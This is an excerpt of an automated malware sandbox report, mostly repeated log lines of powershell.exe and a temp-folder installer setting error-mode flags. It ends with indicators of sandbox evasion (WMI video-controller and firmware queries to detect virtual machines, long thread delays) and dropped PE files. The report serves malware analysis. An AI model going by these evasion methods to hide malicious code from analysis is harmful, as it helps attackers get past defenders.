Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FQCBPDRKWCIGP0ODQG879LFLUZ.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-UFG0L.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-UFG0L.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-UFG0L.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-UFG0L.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-UFG0L.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-UFG0L.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-UFG0L.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-UFG0L.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FQCBPDRKWCIGP0ODQG879LFLUZ.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-OMTBU.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-OMTBU.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-OMTBU.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-OMTBU.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-OMTBU.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-OMTBU.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-OMTBU.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-OMTBU.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-OMTBU.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-OMTBU.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-OMTBU.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2510	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1014	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4202	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5477	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-OMTBU.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-G0TQE.tmp\_isetup\_isdecmp.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-UFG0L.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-B9GOU.tmp\_isetup\_isdecmp.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-OMTBU.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-G0TQE.tmp\_isetup\_setup64.tmp	Jump to dropped file
